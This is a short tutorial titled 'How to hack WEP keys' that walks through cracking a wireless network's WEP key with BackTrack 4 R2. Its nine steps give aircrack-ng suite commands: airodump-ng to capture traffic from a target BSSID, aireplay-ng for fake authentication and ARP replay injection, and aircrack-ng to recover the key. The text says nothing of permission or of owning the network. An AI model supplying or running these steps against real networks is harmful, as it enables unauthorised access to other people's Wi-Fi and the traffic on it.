How to hack WEP keys - Using backtrack 4 R2

Step 1: Open console and type in "airodump-ng wlan0"

Step 2: Now open up a new console window, but don't close out of the current window.

Step 3: Type in "airodump-ng -w wep -c (Channel) --bssid (BSSID) wlan0

Step 4: Open up a new console Window, and close out of the first window.

Step 5: Type in "aireplay-ng -1 0 -a (BSSID) wlan0

Step 6: Open up another console windows, but don't close out of any.

Step 7: Type in "aireplay-ng -3 -b (BSSID) wlan0

Step 8: Wait for #data in the first console window to reach at least 30,000. It is ok for it to go higher, but isn't required.

Step 9: After that, press Control + C, and the type in
"dir" then "aircrack-ng wep-01.cap"